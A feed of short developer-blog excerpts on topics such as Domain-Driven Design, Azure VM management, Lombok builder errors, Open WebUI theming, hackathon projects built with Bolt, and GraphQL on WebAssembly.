    Tired of performance reviews that feel more like guesswork than actual evaluation? You’re not alone. Most engineering managers still rely on outdated, manual tracking methods that miss the mark. Enter Team Vertex—a revolutionary platform that brings fairness, accuracy, and data-driven insights into engineering performance reviews. Traditional review processes often rely on subjective memory, shallow activity metrics, and inconsistent standards. They tend to reward visibility over impact, overlooking the quiet engineers who deliver high-quality, maintainable code. Here’s what most teams struggle with: Subjectivity and bias: Reviews rely too heavily on memory and personal perception. No real impact tracking: Metrics lack depth and fail to show business contributions. Wasted time: Managers spend hours compiling notes instead of leading teams. Team Vertex is a performance review platform built specifically for engineering teams. It leverages AI to analyze real contributions—from code quality to feature complexity—and delivers modular, editable review segments that you can trust. 📊 Automated Code Analysis: No more manual review of commits. The system scans and analyzes code across GitHub, GitLab, or Bitbucket. ⚖️ Fair & Data-Driven: Combines AI-generated insights with manual oversight so you can fine-tune evaluations. 🤖 Seamless AI Integration: Build reviews iteratively with AI support instead of starting from scratch. Team Vertex doesn't stop at commit counts. It measures: 🧩 Feature Complexity: Credit for tackling difficult challenges. “As an engineering manager myself,” says the founder, “I was tired of watching high-impact devs go unrecognized while others got credit for showy but shallow work. Team Vertex was built to change that.”  ( 3 min )
    An Ode to Clarity — Bitcoin’s White Paper Could Have Launched Sooner (and We Missed the Rocket).
    When we read in the Bitcoin white paper: “A purely peer-to-peer version of electronic cash would allow online payments to be sent directly from one party to another without going through a financial institution,” …we realize that the very concept of peer-to-peer was, at that moment, directed at a community of technical specialists — those capable of interpreting its logic, grasping the historical disruption it was igniting, and foreseeing the world we now live in. But no one dared to say what is now clear: Yet the technical language of that paper — “nodes,” “blocks,” “hash,” “proof-of-work,” “chain of digital signatures” — remained inaccessible to the broader community witnessing the birth of BTC. But here’s the lesson: technical language can be translated into natural narratives. If we want more people to understand — to truly take off with us in our technological missions — we must shed abstraction and seduce the collective imagination. Today, as we build our own projects, let us not repeat that mistake. You can find more of my work on X https://x.com/quetzalquant , or follow my journey here as I build this freelance project from scratch — ethically, transparently, and with intention. Sincerely, Quetzalquant — A narrator from Mexico-Tenochtitlán, decoding technology in human terms  ( 4 min )
    ¿Por dónde empezarías un proyecto? No, no es solo por la lógica
    Hace unos días lancé una pregunta básica en un directo de Twitch: ¿Por dónde empezarías un proyecto? Me sorprendió la variedad de respuestas, así que decidí llevar la discusión a mis redes sociales para analizarla más a fondo. Me llevé una amarga sorpresa: prácticamente había unanimidad, y esto no suele ser una buena señal. Los resultados fueron bastante sorprendentes. De hecho, la mayoría de las respuestas coincidieron en algo que, para mí, fue una alarma. ✋ Ojo: esto no se trata de decirte que estás haciendo las cosas mal, sino de promover y defender la variedad de ideas y enfoques. Abrir la mente a otras formas de empezar un proyecto es una forma de enriquecer nuestro background y crecer profesionalmente. En nuestro sector, nada está escrito en piedra y no hay verdades absolutas, así q…  ( 7 min )
    App Store Offers: Implementation Guide for iOS Developers
    Understanding App Store Offers The Game-Changing Win-Back Offers Technical Implementation Guide App Store Connect Configuration Business Advantages Performance Monitoring Conclusion App Store Offers represent a powerful monetization strategy for subscription-based applications. These time-limited promotions provide eligible customers with free or discounted access to subscriptions, serving as critical tools for customer acquisition, retention, and re-engagement. Target new subscribers exclusively Provide initial trial periods or discounted rates Automatically applied to first-time subscribers Cannot be redeemed multiple times by the same user Highly flexible with custom eligibility criteria Require server-side signature generation Target existing or lapsed subscribers Support multiple rede…  ( 7 min )
    From Chaos to Clarity: A Practical Guide to Mastering Domain-Driven Design
    Have you ever felt lost on a software project? A place where every new feature breaks two others, where the tech and business teams seem to speak different languages, and where the code has become a tangled mess that no one dares to touch? If the answer is yes, you've likely been in a "Big Ball of Mud." This is a common trap. We start with the best intentions, but without a compass, business complexity inevitably swallows us. The result? Software that is fragile, expensive, and misaligned with its goals. But what if there was a way to navigate this complexity? An approach that would allow us not only to build software that works but also to create systems that are a faithful and evolving reflection of the business rules? Welcome to Domain-Driven Design (DDD). Think of DDD not as a rigid fr…  ( 10 min )
    Do Caos à Clareza: Um Guia Prático para Dominar o Domain-Driven Design
    Você já se sentiu perdido em um projeto de software? Um lugar onde cada nova funcionalidade quebra duas outras, onde a equipe de tecnologia e a de negócios parecem falar idiomas diferentes e onde o código se tornou uma massa tão emaranhada que ninguém tem coragem de mexer? Se a resposta for sim, você provavelmente já esteve em um "Big Ball of Mud" (Grande Bola de Lama). Essa é uma armadilha comum. Começamos com as melhores intenções, mas sem uma bússola, a complexidade do negócio inevitavelmente nos engole. O resultado? Software frágil, caro e desalinhado com seus objetivos. Mas e se houvesse uma maneira de navegar essa complexidade? Uma abordagem que nos permitisse não apenas construir software que funciona, mas também criar sistemas que são um reflexo fiel e evolutivo das regras de negó…  ( 10 min )
    How to Code a Wi-Fi Enabled Fence Alert System
    Security is evolving. From smart doorbells to intelligent lighting, homes are becoming more responsive. But what if your Vinily Fence Chicago could talk back—sending alerts when someone attempts to climb it or open a gate? In this guide, you'll learn how to build a basic Wi-Fi enabled fence alert system using microcontrollers like the ESP32 and simple sensors. It's perfect for home automation enthusiasts, hobbyists, or even developers working on smart outdoor systems. ESP32 or ESP8266 (microcontroller with built-in Wi-Fi) Magnetic contact sensors or motion sensors Buzzer or LED (for local alerts) Jumper wires and breadboard Power supply (USB or battery) Arduino IDE Optional: Integration with a mobile app or platform like Blynk or IFTTT 🧠 The Concept The fence alert sys…  ( 4 min )
    How to Manage Virtual Machines in Microsoft Azure
    Virtual Machines (VMs) serve as the backbone of cloud computing in Microsoft Azure, offering unparalleled flexibility for deploying and managing workloads. Whether you're optimizing resources for cost efficiency, scaling to meet demand, or enhancing security configurations, effective VM management is crucial for any cloud environment. Login to Microsoft Azure at https://portal.azure.com From the Azure portal home page, in the search box, enter virtual machines. Select virtual machines under services. Select the guided-project-vm virtual machine. If the virtual machine is running, select Stop. Note: In order to make some configuration changes, such as changing the subnet, the VM will need to be restarted. You can request the change without stopping the VM, but Azure will force a res…  ( 4 min )
    TAK-Server Plugin - Smack.xml and plugin loader errors
    Hey devs 👋, I'm working on integrating a custom plugin into the TAK Server (takserver-sender-receiver-xmpp-server-plugin-1.0.12.jar) that uses the Smack XMPP library (v4.4.6). The plugin should forward messages to an Openfire XMPP server, but I'm running into two core issues: I'm unsure whether the takserver-plugins.sh script is correctly setting the classpath. Here's the file: #!/bin/sh . ./setenv.sh # Hier nur System-Properties, kein "-jar"! export JDK_JAVA_OPTIONS="-Dloader.path=WEB-INF/lib-provided,WEB-INF/lib,WEB-INF/classes,/opt/tak/lib,/opt/tak/lib/deps -Dio.netty.tmpdir=/opt/tak -Djava.io.tmpdir=/opt/tak -Dio.netty.native.workdir=/opt/tak -Djava.net.preferIPv4Stack=true -Djava.security.egd=file:/dev/./urandom -DIGNITE_UPDATE_NOTIFIER=false -DIGNITE_QUIET=true -Djdk.tls.client.pro…  ( 5 min )
    5 Legal Landmines For Creators to Dodge in 2025
    By Viralnoise Many creators believe dangerous myths about contracts that put them at serious risk: "You don't need contracts with friends" – Actually, you need them even more when working with friends. Clear expectations protect relationships. "Verbal agreements aren't binding" – Wrong. Verbal contracts can be legally enforceable, but they're nearly impossible to prove in court. Always get it in writing. "Contract templates from the internet are fine" – Most generic templates are seriously flawed. According to the Counsel for Creators, "having a contract created by a well-meaning amateur can create more problems than it solves." What to watch for: The "perpetual rights" trap. Terms like "perpetual," "exclusive," and "all media now known or hereafter devised" let brands use your content fo…  ( 6 min )
    🚀 WP-XPub v1.0.0 – A Clean Architecture Approach to Multi-Channel Publishing in WordPress
    We’re proud to release WP-XPub v1.0.0, a modern, maintainable WordPress plugin designed for structured multi-channel publishing — built from the ground up with hexagonal architecture, PSR standards, and clean separation of concerns. WP-XPub is a flexible auto-publisher framework for WordPress that allows you to push content to multiple external platforms (e.g., Mastodon, LinkedIn, custom APIs) from within your WordPress environment. It’s not another social media plugin — it’s a system designed for: High modularity Testability and long-term maintainability Minimal WordPress coupling Extensible publisher definitions 💡 Why Not in the WordPress Plugin Directory? ⚠️ WP-XPub is not listed on WordPress.org — and that’s by design. The WordPress plugin directory enforces legacy practices that actively hinder modern software architecture. This includes: Tight coupling through functions.php Global procedural design Prohibition of namespaced class autoloading (e.g., via Composer) Literal-only i18n strings, which break abstraction and prevent layered translation systems Constraints that prevent effective testing or mocking We respect the ecosystem — but we choose to build for developers who care about code quality, clarity, and architecture first. ✔️ Multi-publisher architecture using filter-dispatched factories ✔️ Admin UI to activate publishers and set platform-specific configuration ✔️ Publisher abstraction that allows easy integration of 3rd-party APIs ✔️ Automatic trigger on post publication (post_status = publish) ✔️ Fully PSR-compliant code (PSR-1, PSR-4, PSR-12) ✔️ Composer-powered structure — no function clutter, no legacy globals ✔️ Support for modern PHP (8.2+) and WordPress 6.x 👉 See the full source and installation instructions on GitHub  ( 3 min )
    React and typescript components lib, part 7: conclusion
    Introduction Portuguese version: Biblioteca de componentes React e typescript, parte 7: encerramento We've reached the final part of the series! The goal of this article is to wrap things up by explaining the motivation behind creating the series, where the topics covered came from and sharing some possible/suggested next steps for improvement. Throughout my time working in development, I had the opportunity to work on projects for different clients using React with Typescript. As I dove deeper, I came across several things that caught my attention like pre-commit hooks, code auto-generation with hygen, among others, which sparked my curiosity about how to configure each of them, define their rules and use them effectively. I was also curious about how to create a component lib and publi…  ( 7 min )
    Biblioteca de componentes React e typescript, parte 7: encerramento
    Introdução English version: React and typescript components lib, part 7: conclusion Chegamos na última parte da série! A ideia desse artigo é ser um encerramento, explicando a motivação da criação da série, de onde veio os assuntos que trouxe para a série e passando algumas evoluções possíveis/sugeridas. Durante o período que trabalho com desenvolvimento, tive bastante contato com projetos em diferentes clientes usando React com Typescript, me deparando com coisas que chamaram a minha atenção como pre-commit, autogeração de código com hygen, dentre outras, que me levantou a curiosidade de como configurar cada uma delas, como definir suas regras e como fazer o uso delas. Outra curiosidade que tinha era como se criava um lib de componentes e realizava a publicação dela, para disponibilizar…  ( 7 min )
    Introducing HruHruLauncher — a custom Minecraft launcher written in Python with PySide6
    🚀 What is this project? As a personal challenge, I’ve been building an open-source Minecraft launcher completely in Python. It uses PySide6 for the UI and public APIs for version handling and launching. The goal was to create a modular, clean, and responsive launcher that could one day support both Vanilla and modded Minecraft. 🐍 Python 3.10+ 🧩 PySide6 – custom widgets, light/dark themes, animations 🌐 minecraft-launcher-lib – handles authentication, version downloads, launching 🧵 QThread-based worker system – keeps UI responsive during background tasks ⚙️ Modular codebase: core/, ui/, config/, utils/ 🗃 Settings manager using JSON 🌍 Localization support (via resources.py) 💡 Custom download threads, UI state updates, error handling 🎯 Why I made this I love Minecraft and Python, and I wanted to combine the two while also learning more about Qt, multithreading, and architecture. There are many launchers out there, but I wanted to build something from scratch to really understand how it all works. It’s open-source and I’d love your feedback, ideas, or even small contributions! 👉 GitHub: https://github.com/krutoychel24/hru-hru-launcher Even small suggestions or a ⭐ are appreciated — thanks in advance!  ( 3 min )
    How I Fixed My Digital Chaos (and Made Remote Work Easier)
    When I started working remotely, I loved the freedom — but quickly ran into digital overwhelm. So I did a reset. Here’s what helped: I picked one task manager (Notion) and one file hub (Google Drive). The goal? Everything should have a home. Every Friday, I spend 15 minutes cleaning my inbox, task lists, and notes. It’s boring — but keeps the chaos away. Learning to work asynchronously gave me more focus and fewer distractions. It also helps when traveling across time zones! This mini-system changed how I work — especially while on the move. Are you managing your digital life… or is it managing you? Let’s talk 👇  ( 3 min )
    LLM Agents & Prompt Engineering: A Warrior's Guide to Clear Commands
    You've forged a legendary warrior with the perfect arsenal and taught them to navigate any dungeon. But what happens when your commands are as clear as mud? "Attack the thing!" you shout. Which thing? With what weapon? Your warrior stands confused. In this guide, you'll master the final art—giving crystal-clear battle commands that turn hesitation into decisive action. Picture this: You've spent weeks creating the ultimate digital warrior. In previous posts, you've given them a razor-sharp sword (perfect actions). You've taught them to carry a lightweight but complete backpack (smart context management), and they're standing right in front of the treasure chest. Victory is one command away. "Get the treasure!" you command confidently. Your warrior looks at you. Looks at the chest. Looks ba…  ( 9 min )
    Fixing the Elm Architecture
    Elm architecture aka MVU was a breath of fresh air when I encountered it. It remains the best UI dev experience I know of. As I've done larger and larger projects with it, used it on the backend, and seen its usage in other contexts, it has some friction points. Here are my current thoughts on how to resolve those sore spots. Code below is in F# unless otherwise noted. update // sus // | // v let init initArg : (Model * Cmd) = ... One thing that has always bothered me about init is that it comes out swinging by returning a Cmd. This can be a problem in some UI technology (e.g. WPF) that is sensitive to the timing of initializing elements vs side effects. I recall at least one issue about this in the Elmish r…  ( 10 min )
    iOS 26 Is Here: What Every iOS Developer Needs to Know
    Apple just dropped iOS 26, and it’s packed with fresh features and powerful tools that are set to transform how we build apps. Whether you’re deep into SwiftUI or a game dev leveraging Metal, this update brings tons of exciting possibilities. Here’s a quick rundown of what you should be paying attention to as an iOS developer. SwiftUI continues to evolve, and version 5.0 is a huge leap forward: AI-Powered Dynamic Layouts: Your UI can now automatically adjust based on user behavior and environmental context (e.g. grip, lighting). Advanced Gesture Combinations: Combine multi-touch, force touch, and device motion for richer interactions. Physics-Driven Animations: Use declarative syntax to build realistic animations (bounces, fluid motion, inertia) in seconds. 📌 SwiftUI 5.0 is a huge win for…  ( 5 min )
    DataFlow Orchestrator - Automated Search Infrastructure with MCP & Claude
    This is a submission for the Algolia MCP Server Challenge DataFlow Orchestrator is a sophisticated backend data optimization platform that integrates Algolia's MCP Server with Claude Desktop and n8n workflows to create a fully automated search infrastructure management system. This solution focuses on backend data enrichment, intelligent content processing, and automated search optimization. Key features: Automated content ingestion and enrichment AI-powered data categorization and tagging Real-time search index optimization Intelligent content routing and processing Multi-source data integration with search optimization GitHub Repository: https://github.com/demo-user/dataflow-orchestrator 🔗 Live Demo: https://dataflow-orchestrator.netlify.app Video Walkthrough: https://youtu.be/demo-data…  ( 4 min )
    Youtube Downloader - My first MCP Server
    Hi everyone, recently, after reading some blogs and content about MCP on the internet, I decided to experiment with it by creating a local MCP server to perform a simple task: downloading a YouTube video. This post is to talk a bit about MCP and the solution I built. You might ask, why download YouTube videos? Well, during my recent trip from the Netherlands to Brazil, which takes around 12 hours, I wanted to watch some tech and fun videos offline. I know YouTube offers a subscription that allows offline access, but I wasn’t planning to pay for another subscription just for this one trip. So, instead of using random online tools or subscribing to YouTube Premium, I decided to create an MCP server to help me with the task. But before I talk about the solution, let me give you a quick overvi…  ( 4 min )
    OfficeHub Pro - Modern Intranet Homepage with Interactive Features
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space OfficeHub Pro is a comprehensive intranet homepage designed for the fictional tech company "InnovateTech Solutions." This modern digital workspace combines essential office functionality with engaging design elements to create the perfect employee portal. The homepage features upcoming events, team spotlights, quick access resources, company announcements, and interactive widgets that make daily office life more connected and productive. Key features: Dynamic company announcements and news feed Interactive team member spotlight carousel Real-time event calendar with RSVP functionality Quick access toolbar for common office tasks Employee directory with instant search Weather widget…  ( 4 min )
    @classmethod and @staticmethod
    @classmethod generally used as factory methods, takes in a parameter representing the class class Book: TYPE = ('tech', 'fiction') def __init__(self, name, book_type): self.name = name self.book_type = book_type @classmethod def tech_book(cls, name): cls(name, cls.TYPE[0]) @staticmethod def print_book(book): send_to_printer(book) @staticmethod generally refers to simple method that happens to be inside the class and generally provides some utility to the class that perform some operation without changing the data stored in the object.  ( 3 min )
    Why I’m building SimGate: An SMS API without per-message fees
    I’m a full-stack developer who’s always looking for simple, affordable tools, especially when building for side projects or indie SaaS ideas. Recently, I ran into a familiar problem: That’s when I decided to build SimGate — a lightweight developer tool that lets you send SMS through your own Android phone and SIM card, using a clean API, without per-message fees. Who is SimGate for? Indie devs building internal tools or MVPs Solo SaaS founders with <1k users Local delivery apps, clinics, or automations that need recurring SMS IoT/sensor projects that send alerts Anyone who’s tired of “$0.something per SMS” adding up over time How does it work? Send SMS using a secure API Avoid cloud provider markups Pay a flat monthly subscription instead of per message (free plan will be available as well) This way, your phone becomes your own private SMS gateway. Want to try it? If this solves a problem for you — or just sounds interesting — you can join here: https://www.simgate.app Thanks for reading — and if you’ve ever struggled with SMS pricing or built your own DIY solution, I’d love to hear your story in the comments! Nik dev@simgate.app  ( 3 min )
    Understanding Components and Props in React.
    Introduction My quest into React began with these two very special words: components and props. If you went to ask any expert in the field of software development, they would probably give you some scientific meaning of the two words that they learned, maybe from their university or an online lesson on a platform like YouTube. On the other hand, I decided to provide a straightforward explanation of these two terms. These are the definitions that I learned from my instructors at Moringa School Components They help developers split their apps into separate files. They help keep the code clean and easily maintainable. Enable one to build apps from scratch. You can be able to reuse parts of the app in different places. You can have components such as ; 1. . Props. 1. To simplify them even further, think of components as an ice cream truck, while props are a different flavour of ice cream. What I learned I realized that when you make a component, you have to use knowledge based on JavaScript, and that you have to render it for it to function. For now, that is a different topic from the one that I am talking about, but to explain it briefly, rendering is showing something on the screen.  ( 3 min )
    Creating a Facial Recognition Fence Opening System with Python
    So, get this—I was juggling groceries, keys, my phone, and a coffee (because caffeine, duh), when I realized... wouldn’t it be amazing if my gate just knew it was me and opened on its own? Like, hi facial recognition, it’s me, open sesame. Turns out—you can actually build that. And it’s not some Black Mirror sci-fi thing. Just a little Python, a dash of hardware, and a weekend of geeking out. Wanna know how? Let’s break it down. First off, if you’ve ever fumbled with keys in the rain or tried to buzz someone in while stuck on a Zoom call you already get it. Plus, if you’ve invested in those classy Iron Railings in Chicago that scream both style and security… well, wouldn’t it be cool to match that elegance with tech? I mean, don’t get me wrong—buttons and remotes are fine, but face ID is …  ( 5 min )
    How Lingodb do column pruning
    This ariticle talk about lingodb's column pruning and how it differs from tranditional way because of MLIR making it easy. I am external contributor to Lingodb, not affiliated to TUM. For this ariticle's content, I am just a learner not contributor. Column pruning is a very common optimization for databases. It helps TableScan only fetch data from only neccessary columns used by upstream operator like projection operator. This is one of the optimization can decrease disk IO. Let's walk through column pruning by a very simple example, say we have a very simple query select abs(name) from student. The query plan structure is very simple, can be described from top to bottom like: [QUERY PLAN] Projection{student::name => abs(student::name)} -> TableScan{student} [REQUIRED COLUMN ANALYZER] - …  ( 6 min )
    Why AI Companies Are Turning to Credit-Based Pricing
    Pricing AI products presents a unique set of challenges. Infrastructure costs can vary significantly across models, workloads, and customers. Usage is often unpredictable, shaped by prompt inputs, model behavior, and user experimentation. Additionally, many of the underlying units (like tokens or inference time) aren’t intuitive for end users. To address these issues, many AI companies are adopting credit-based pricing models. Rather than charging customers directly for raw usage, they offer a pool of prepaid credits that are consumed as the product is used. This approach creates a buffer between backend cost and customer experience, giving vendors more flexibility and customers more predictability. This article looks at why credit-based models are particularly well suited to AI products, …  ( 8 min )
    The Rise of "Objective" Opinions in Tech Content, And Why You Should Care
    Development is a craft. Think like a developer, not a follower. "Never use Redux again." "React is dead, switch to SolidJS." "Here's why this framework will double your productivity." If you've been on YouTube, dev.to, Medium, or just the internet lately, you've probably seen headlines like these, hot takes delivered with the confidence of gospel truth. The line between subjective experience and objective fact is getting blurrier every day, especially in the world of programming content. Let’s talk about that. The digital dev world is full of passionate people. That’s great. But passion often gets repackaged as truth, especially when someone has a camera, a blog, or a product to sell. “I didn’t like X in my last project.” Becomes: “X is a terrible tool. Don’t use it. Ever.” It’s fine to d…  ( 5 min )
    Beyond the Code: The Human Story Behind Accelerator
    Beyond the Code: The Human Story Behind Accelerator More Than Just Code While Accelerator started as a technical challenge—One stop solution for you to get ahead in life - personalized history, news, and data to become the most interesting person in the room.—the real magic happened in the connections I made and lessons I learned during the World's Largest Hackathon. The hackathon brought together developers, designers, entrepreneurs, and dreamers from around the world. In the project channels, I discovered: Mentors who guided my vision: Senior developers who've been where I want to go Peers facing similar challenges: Fellow hackers debugging the same issues at 3 AM Cheerleaders celebrating small wins: A community that understands the journey ### Moments That Mattered The Late…  ( 6 min )
    After the Hack: What's Next for Accelerator and My Journey
    After the Hack: What's Next for Accelerator and My Journey The Dust Settles The World's Largest Hackathon is over, submissions are in, and I'm staring at Accelerator—One stop solution for you to get ahead in life - personalized history, news, and data to become the most interesting person in the room.—wondering: "What now?" What started as a 48-hour sprint has revealed genuine potential: Immediate Roadmap (Next 30 Days): 🔧 Technical Debt Cleanup: Refactor the quick hackathon code into production-ready architecture 📊 User Research: Interview 20 potential users to validate core assumptions 🎨 UI/UX Polish: Transform the functional prototype into an delightful experience Medium-term Vision (3-6 Months): 🚀 Beta Launch: Release to a small group of early adopters 💰 Monetization…  ( 9 min )
    Building with Bolt: How I Created VibeBuddy: Execution Companion in Record Time
    Building with Bolt: How I Created VibeBuddy: Execution Companion in Record Time The Challenge During the World's Largest Hackathon, I set out to build VibeBuddy: Execution Companion - VibeBuddy helps you turn any idea into a checklist and build it one prompt at a time — no overwhelm, just focused momentum. Traditional development would have taken weeks, but Bolt.new transformed my entire approach: Natural Language to Code: Instead of writing boilerplate, I described what I wanted Real-time Preview: Seeing changes instantly kept my momentum high AI-Powered Suggestions: Bolt understood my vision and suggested improvements ### Technical Implementation The core functionality of VibeBuddy: Execution Companion required: Modern web technologies (React, Node.js, database integration) …  ( 6 min )
    Generate User Personas in Seconds with AI 🤖👨‍🔧
    Have you ever started a new feature only to realise halfway through that no one on the team can agree on who the actual user is? A clear user persona keeps everyone aligned, yet building one from scratch can chew up hours of research time. Kollabe’s free User Persona Generator flips that script. Drop in a short description of your product and target market, hit Generate Persona, and AI instantly fills in demographics, goals, pain points and even technical context, giving you a complete persona in seconds. Shared understanding: A persona is a single source of truth for design, development and marketing. Empathy: Seeing goals and frustrations written down makes it easier to prioritise real user value. Faster decisions: When trade‑offs pop up, checking against the persona keeps conversations short. Validate – treat the generated profile as a starting hypothesis, then interview or survey real users. Keep them visible – print or pin the persona where your team can see it every day. Iterate – update the persona each quarter as your product and audience evolve. Next time you kick off a project, spin up a persona before your first planning session. Head over to the generator, paste a few lines about your product and see what insights surface. 👉 Give it a whirl here: kollabe.com/tools/user-persona-generator Happy building!  ( 3 min )
    Building with Bolt: How I Created Webloom AI in Record Time
    Building with Bolt: How I Created Webloom AI in Record Time The Challenge During the World's Largest Hackathon, I set out to build Webloom AI - Webloom – An AI-powered SaaS platform that transforms natural language prompts into production-ready websites with live code editing, real-time previews, and one-click deployment. Traditional development would have taken weeks, but Bolt.new transformed my entire approach: Natural Language to Code: Instead of writing boilerplate, I described what I wanted Real-time Preview: Seeing changes instantly kept my momentum high AI-Powered Suggestions: Bolt understood my vision and suggested improvements ### Technical Implementation The core functionality of Webloom AI required: Modern web technologies (React, Node.js, database integration) Resp…  ( 7 min )
    Building with Bolt: How I Created MadMonkey in Record Time
    Building with Bolt: How I Created MadMonkey in Record Time The Challenge During the World's Largest Hackathon, I set out to build MadMonkey - What else can a monkey do besides interrupt you? Traditional development would have taken weeks, but Bolt.new transformed my entire approach: Natural Language to Code: Instead of writing boilerplate, I described what I wanted Real-time Preview: Seeing changes instantly kept my momentum high AI-Powered Suggestions: Bolt understood my vision and suggested improvements ### Technical Implementation The core functionality of MadMonkey required: Modern web technologies (React, Node.js, database integration) Responsive design for all devices User authentication and data management Real-time features and API integrations With Bolt.new, I could f…  ( 5 min )
    The Identity Paradox: Why Decentralized IDs Need Privacy to Actually Work
    A ‘decentralized’ identity that broadcasts your age, location, and preferences to everyone isn’t decentralized, it surveillance with extra steps. Decentralized identity (DID) promises to free users from passwords, logins, and gatekeepers. But if every credential you hold, birthdate, credit score, medical license, sits in plain sight on-chain, you’ve simply traded one form of control for another, and handed your data to bots and bad actors. Here’s why privacy by default is the missing piece for real-world DID adoption, and how Oasis Network solves it. On public blockchains, every transaction and data point is visible forever. That means: Your age or nationality in a KYC badge can be spider-crawled. Credit scores or reputation ratings, once on-chain, become permanent, unerasable dossiers…  ( 5 min )
    It's not burnout, It's context-switching fatigue
    Came across this Reddit post that perfectly described a problem I have been seeing around for a while… Context-switching fatigue. The poster described a scenario I’m sure will sound familiar...teams bouncing between projects, standups, feedback, strategy docs, and sprint tasks all within a few hours. On paper, you are simply executing multiple tasks. In reality, you are shifting mental gears every 30 minutes. Not just switching tasks, but switching contexts, which is a much heavier tax on attention than we tend to admit. Every tool-switch, every conversation out of context, drained momentum, and no sprint report was going to catch that. The comments were full of good advice: But how many of these suggestions fall apart once you consider how fragmented our tool chains actually are? Teams are still juggling between Jira for tracking, Slack for discussions, Notion or Confluence for documentation, and a dozen random Google Docs for “alignment.” Context lives everywhere and nowhere (or in someone’s head). And when the context is fragmented, decisions become shallow, or worse, inconsistent. This is one of the core problems we’re solving at Quely (formerly Rally). Not by adding another place to write more things, but by creating a shared space that ties work, discussion, and decision-making into one structured flow. A place where async doesn’t mean “figure it out later” but instead gives every contributor the context they need to engage meaningfully, on their own time, without losing the thread. We’re not here to eliminate tools. But we are trying to eliminate the gaps between them, because that’s where clarity dies. If your team has tried to tackle this, I’d love to hear what’s worked or where you’ve gotten stuck.  ( 4 min )
    Beyond the Code: The Human Story Behind MadMonkey
    Beyond the Code: The Human Story Behind MadMonkey More Than Just Code While MadMonkey started as a technical challenge—What else can a monkey do besides interrupt you?—the real magic happened in the connections I made and lessons I learned during the World's Largest Hackathon. The hackathon brought together developers, designers, entrepreneurs, and dreamers from around the world. In the project channels, I discovered: Mentors who guided my vision: Senior developers who've been where I want to go Peers facing similar challenges: Fellow hackers debugging the same issues at 3 AM Cheerleaders celebrating small wins: A community that understands the journey ### Moments That Mattered The Late-Night Debug Session: When my authentication system broke at midnight, three strangers jumpe…  ( 8 min )
    Top 7 Featured DEV Posts of the Week
    Welcome to this week's Top 7, where the DEV editorial team handpicks their favorite posts from the previous week. Congrats to all the authors that made it onto the list 👏 Stop Skimming Documentation Oscar ・ Jul 25 #documentation #programming #productivity #learning @kurealnum provides practical strategies for breaking down complex documentation and actively engaging with the material through hands-on practice and summarization techniques. I Built a TypeScript-Native Config System Because .env Files Drive Me Crazy Oliver Seifert ・ Jul 21 #typescript #tooling #webdev #programming @imgajeed76 shares their frustration with managing configuration across multiple services and presents Axogen, a TypeScript-native config system they bu…  ( 4 min )
    ¿@Builder de Lombok no funciona? Acá la solución que me salvó
    Hoy me topé con un error bastante molesto mientras trabajaba en un proyecto Java con Spring Boot y Lombok. java: no se puede encontrar el símbolo builderClass Después de revisar varias veces el código, descubrí que el problema no era por cómo usaba Lombok, sino por una mala configuración del pom.xml en mi proyecto Maven. No tenía bien configurado el maven-compiler-plugin. Además, por alguna razón, en el spring-boot-maven-plugin se estaba excluyendo Lombok. Eso hizo que las anotaciones como @builder no fueran reconocidas al compilar. org.springframework.boot spring-boot-maven-plugin …  ( 3 min )
    After the Hack: What's Next for MadMonkey and My Journey
    After the Hack: What's Next for MadMonkey and My Journey The Dust Settles The World's Largest Hackathon is over, submissions are in, and I'm staring at MadMonkey—What else can a monkey do besides interrupt you?—wondering: "What now?" What started as a 48-hour sprint has revealed genuine potential: Immediate Roadmap (Next 30 Days): 🔧 Technical Debt Cleanup: Refactor the quick hackathon code into production-ready architecture 📊 User Research: Interview 20 potential users to validate core assumptions 🎨 UI/UX Polish: Transform the functional prototype into an delightful experience Medium-term Vision (3-6 Months): 🚀 Beta Launch: Release to a small group of early adopters 💰 Monetization Strategy: Explore sustainable revenue models 🤝 Partnership Opportunities: Connect with com…  ( 7 min )
    How to Build Custom Open WebUI Themes
    While Open WebUI doesn't have built-in theming support, you can easily customize its appearance by injecting a custom CSS file into the Docker image. This guide will show you how to create your own themed version of Open WebUI. Want to see a complete example? Check out our Open WebUI Theme repository on GitHub for a full working implementation. Look at this beautiful (questionable) pink theme: Docker installed on your system Basic CSS knowledge A text editor First, create a Dockerfile that extends the Open WebUI image: FROM ghcr.io/open-webui/open-webui:git-49a928d # Optional: Replace favicon icons # COPY favicon.svg /app/build/static/favicon.svg # COPY favicon.png /app/build/static/favicon.png # COPY favicon.ico /app/build/static/favicon.ico # Copy your custom CSS file COPY custom.css …  ( 5 min )
    Google admits it failed to warn 10 million of Turkey earthquake
    Google's admission reveals critical flaws in its earthquake alert system, leaving millions unprotected during a major disaster. In a significant admission, Google has acknowledged that its Android Earthquake Alerts (AEA) system failed to effectively warn millions of individuals in Turkey ahead of a devastating earthquake that struck the region in February 2023. The earthquake, which registered a magnitude of 7.8, resulted in catastrophic consequences, including over 55,000 fatalities and more than 100,000 injuries. Despite the potential of modern technology to enhance disaster preparedness, this incident highlights critical shortcomings in the alert system designed to protect users from seismic threats. Google's AEA system, which utilizes data from various sources including seismic activit…  ( 5 min )
    Blockchain Technology in Data Collection: A New Era of Trust and Transparency
    In today’s data-driven world, trust and transparency are more critical than ever. As organizations, governments, and individuals rely heavily on data to make informed decisions, the accuracy and security of that data have come under increasing scrutiny. One groundbreaking solution to these concerns is blockchain technology—a decentralized, immutable ledger system that has the potential to revolutionize the way we collect, store, and share data. Immutability: Once data is entered into a blockchain, it cannot be changed without altering all subsequent blocks, which would require consensus from the majority of the network. This makes tampering practically impossible. Transparency: All participants in the blockchain network can view the same data, which reduces opportunities for fraud and en…  ( 5 min )
    Building a GraphQL API with Fermyon Wasm Functions
    By: MacKenzie Adam GraphQL has revolutionized how we think about APIs, offering developers precise control over data fetching and reducing over-fetching issues common with REST APIs. When combined with the lightning-fast startup times and efficiency of WebAssembly, GraphQL becomes even more powerful for serverless applications. In this blog, we’ll walk through building a complete GraphQL client using Fermyon Wasm Functions that queries GitHub’s GraphQL API to fetch and report repository stargazer information. By the end, you’ll have a globally distributed, fully functional serverless application that demonstrates the power of combining type-safe GraphQL queries with WebAssembly. We’ll create a serverless GraphQL client as a Spin application that: Uses Rust’s type-safe GraphQL client genera…  ( 7 min )
    How an Automated Prior Art Search Example Saves You Time
